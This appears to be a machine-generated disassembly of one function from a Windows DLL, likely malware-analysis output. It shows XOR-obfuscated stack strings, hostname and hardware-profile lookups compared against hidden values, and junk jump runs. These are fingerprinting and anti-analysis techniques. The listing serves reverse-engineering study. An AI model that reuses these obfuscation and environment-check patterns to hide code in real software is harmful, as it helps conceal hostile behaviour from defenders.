Function at 0x100034c0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get hostname

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x873c
call fcn.10005d00
mov eax, dword [0x10008004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
jmp 0x100034ec
jmp 0x100034fe
jmp 0x10003510
jmp 0x10003522
jmp 0x10003534
jmp 0x10003546
jmp 0x10003558
jmp 0x1000356a
jmp 0x1000357c
jmp 0x1000358e
jmp 0x100035a0
jmp 0x100035b2
jmp 0x100035c4
jmp 0x100035d6
jmp 0x100035e8
jmp 0x100035fa
jmp 0x1000360c
jmp 0x1000361e
jmp 0x10003630
jmp 0x10003642
lea eax, [ebp - 0x863c]
mov dword [ebp - 0x863c], 0x7fff
push eax
lea eax, [ebp - 0x8638]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
call fcn.10001d90
movaps xmm0, xmmword [str.A_5512nn666o__O]
xor ecx, ecx
movups xmmword [ebp - 0x8708], xmm0
mov dword [ebp - 0x86c8], 0x32647c
movaps xmm0, xmmword [str._l____5_o_._n_r]
movups xmmword [ebp - 0x86f8], xmm0
movaps xmm0, xmmword [0x10006380]
movups xmmword [ebp - 0x86e8], xmm0
movaps xmm0, xmmword [0x100063f0]
movups xmmword [ebp - 0x86d8], xmm0
nop dword [eax]
mov al, byte [ebp - 0x8708]
xor byte [ebp + ecx - 0x8707], al
inc ecx
cmp ecx, 0x42
jb 0x100036b0
lea eax, [ebp - 0x8638]
mov byte [ebp - 0x86c5], 0
push 0x10008440
push eax
call fcn.10001940
push eax
lea eax, [ebp - 0x8707]
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.10004f40
add esp, 0x14
lea edx, [ebp - 0x218]
lea ecx, [ebp - 0x110]
push 0xff
call fcn.10002180
add esp, 4
call fcn.10001d90
lea eax, [ebp - 0x86c0]
push eax
call dword [sym.imp.ADVAPI32.dll_GetCurrentHwProfileA]
test eax, eax
je 0x10003bdb
movaps xmm0, xmmword [0x100065f0]
xor ecx, ecx
movups xmmword [ebp - 0x8700], xmm0
mov dword [ebp - 0x86d0], 0x46584710
movaps xmm0, xmmword [0x10006760]
movups xmmword [ebp - 0x86f0], xmm0
mov dword [ebp - 0x86cc], 0x5c0a124b
movaps xmm0, xmmword [0x100066e0]
movups xmmword [ebp - 0x86e0], xmm0
mov byte [ebp - 0x86c8], 0
nop dword [eax]
mov al, byte [ebp - 0x8700]
xor byte [ebp + ecx - 0x86ff], al
inc ecx
cmp ecx, 0x37
jb 0x10003770
lea eax, [ebp - 0x86bc]
mov byte [ebp - 0x86c8], 0
push eax
lea eax, [ebp - 0x86ff]
push eax
lea eax, [ebp - 0x428]
push eax
call fcn.10004f40
add esp, 0xc
lea edx, [ebp - 0x530]
lea ecx, [ebp - 0x428]
push 0xff
call fcn.10002180
add esp, 4
test eax, eax
je 0x10003b75
mov cl, 0x79
mov dword [ebp - 0x8718], 0x10112e79
mov dword [ebp - 0x8714], 0x10151c0d
xor eax, eax
mov dword [ebp - 0x8710], 0x1d1c0d0a
mov byte [ebp - 0x870c], 0
xor byte [ebp + eax - 0x8717], cl
inc eax
cmp eax, 0xb
jae 0x10003806
mov cl, byte [ebp - 0x8718]
jmp 0x100037f1
mov byte [ebp - 0x870c], 0
lea ecx, [ebp - 0x8717]
lea eax, [ebp - 0x530]
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10003840
test dl, dl
je 0x1000383c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10003840
add eax, 2
add ecx, 2
test dl, dl
jne 0x10003820
xor eax, eax
jmp 0x10003845
sbb eax, eax
or eax, 1
test eax, eax
jne 0x10003b49
movaps xmm0, xmmword [0x100064b0]
xor ecx, ecx
movups xmmword [ebp - 0x86fc], xmm0
mov dword [ebp - 0x86cc], 0x633d3f33
movaps xmm0, xmmword [str.5s6___p13q]
movups xmmword [ebp - 0x86ec], xmm0
mov word [ebp - 0x86c8], 0x2d7b
movaps xmm0, xmmword [0x10006700]
movups xmmword [ebp - 0x86dc], xmm0
mov byte [ebp - 0x86c6], al
mov al, byte [ebp - 0x86fc]
xor byte [ebp + ecx - 0x86fb], al
inc ecx
cmp ecx, 0x35
jb 0x10003892
mov byte [ebp - 0x86c6], 0
call fcn.10001940
push eax
lea eax, [ebp - 0x86fb]
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.10004f40
add esp, 0xc
lea edx, [ebp - 0x218]
lea ecx, [ebp - 0x110]
push 0xff
call fcn.10002180
add esp, 4
test eax, eax
je 0x10003bdb
mov cl, 0x66
mov dword [ebp - 0x8728], 0xf0e3166
mov dword [ebp - 0x8724], 0xf0a0312
xor eax, eax
mov dword [ebp - 0x8720], 0x2031215
mov byte [ebp - 0x871c], 0
xor byte [ebp + eax - 0x8727], cl
inc eax
cmp eax, 0xb
jae 0x10003927
mov cl, byte [ebp - 0x8728]
jmp 0x10003912
mov byte [ebp - 0x871c], 0
lea ecx, [ebp - 0x8727]
lea eax, [ebp - 0x218]
nop word [eax + eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10003960
test dl, dl
je 0x1000395c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10003960
add eax, 2
add ecx, 2
test dl, dl
jne 0x10003940
xor eax, eax
jmp 0x10003965
sbb eax, eax
or eax, 1
test eax, eax
jne 0x10003b19
movaps xmm0, xmmword [0x100062c0]
xor ecx, ecx
movups xmmword [ebp - 0x8700], xmm0
mov dword [ebp - 0x86d0], 0x191f1449
movaps xmm0, xmmword [0x10006440]
movups xmmword [ebp - 0x86f0], xmm0
mov dword [ebp - 0x86cc], 0x5534b05
movaps xmm0, xmmword [str._4FGY]
movups xmmword [ebp - 0x86e0], xmm0
mov byte [ebp - 0x86c8], al
nop dword [eax]
nop word [eax + eax]
mov al, byte [ebp - 0x8700]
xor byte [ebp + ecx - 0x86ff], al
inc ecx
cmp ecx, 0x37
jb 0x100039c0
push 0x10008440
lea eax, [ebp - 0x86ff]
mov byte [ebp - 0x86c8], 0
push eax
lea eax, [ebp - 0x638]
push eax
call fcn.10004f40
add esp, 0xc
lea edx, [ebp - 0x320]
lea ecx, [ebp - 0x638]
push 0xff
call fcn.10002180
add esp, 4
test eax, eax
je 0x10003bdb
mov cl, 0x2a
mov dword [ebp - 0x8738], 0x43427d2a
mov dword [ebp - 0x8734], 0x43464f5e
xor eax, eax
mov dword [ebp - 0x8730], 0x4e4f5e59
mov byte [ebp - 0x872c], 0
nop
xor byte [ebp + eax - 0x8737], cl
inc eax
cmp eax, 0xb
jae 0x10003a55
mov cl, byte [ebp - 0x8738]
jmp 0x10003a40
mov byte [ebp - 0x872c], 0
lea ecx, [ebp - 0x8737]
lea eax, [ebp - 0x320]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10003a88
test dl, dl
je 0x10003a84
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10003a88
add eax, 2
add ecx, 2
test dl, dl
jne 0x10003a68
xor eax, eax
jmp 0x10003a8d
sbb eax, eax
or eax, 1
test eax, eax
jne 0x10003aec
movaps xmm0, xmmword [0x100065e0]
xor ecx, ecx
movups xmmword [ebp - 0x86dc], xmm0
mov dword [ebp - 0x86cc], 0x51f56
mov word [ebp - 0x86c8], 0x2f56
mov byte [ebp - 0x86c6], al
nop word [eax + eax]
mov al, byte [ebp - 0x86dc]
xor byte [ebp + ecx - 0x86db], al
inc ecx
cmp ecx, 0x15
jb 0x10003ac0
lea eax, [ebp - 0x320]
mov byte [ebp - 0x86c6], 0
push eax
lea eax, [ebp - 0x86db]
jmp 0x10003bd2
call fcn.10001d90
mov ecx, 1
call fcn.10002fa0
sub esp, 0x18
mov ecx, esp
push 0x10008440
call fcn.10004e30
mov cl, 1
call fcn.10002550
add esp, 0x18
jmp 0x10003bdb
call fcn.10001d90
mov ecx, 1
call fcn.10002fa0
sub esp, 0x18
mov esi, esp
call fcn.10001940
push eax
mov ecx, esi
call fcn.10004e30
mov cl, 1
call fcn.10002550
add esp, 0x18
jmp 0x10003bdb
call fcn.10001d90
mov ecx, 1
call fcn.10002fa0
sub esp, 0x18
lea eax, [ebp - 0x86bc]
mov ecx, esp
push eax
call fcn.10004e30
mov cl, 1
call fcn.10002550
add esp, 0x18
jmp 0x10003bdb
movaps xmm0, xmmword [0x10006310]
xor ecx, ecx
movups xmmword [ebp - 0x86e4], xmm0
mov dword [ebp - 0x86d4], 0x2a3c6f28
mov dword [ebp - 0x86d0], 0x3d2a393d
mov dword [ebp - 0x86cc], 0x2b6a6f75
mov word [ebp - 0x86c8], 0x45
nop dword [eax]
mov al, byte [ebp - 0x86e4]
xor byte [ebp + ecx - 0x86e3], al
inc ecx
cmp ecx, 0x1c
jb 0x10003bb0
mov byte [ebp - 0x86c7], 0
lea eax, [ebp - 0x86e3]
push 1
push eax
call fcn.10001040
add esp, 8
push 0xfa
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10003bf8
jmp 0x10003c0a
jmp 0x10003c1c
jmp 0x10003c2e
jmp 0x10003c40
jmp 0x10003c52
jmp 0x10003c64
jmp 0x10003c76
jmp 0x10003c88
jmp 0x10003c9a
jmp 0x10003cac
jmp 0x10003cbe
jmp 0x10003cd0
jmp 0x10003ce2
jmp 0x10003cf4
jmp 0x10003d06
jmp 0x10003d18
jmp 0x10003d2a
jmp 0x10003d3c
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.10004f58
mov esp, ebp
pop ebp
ret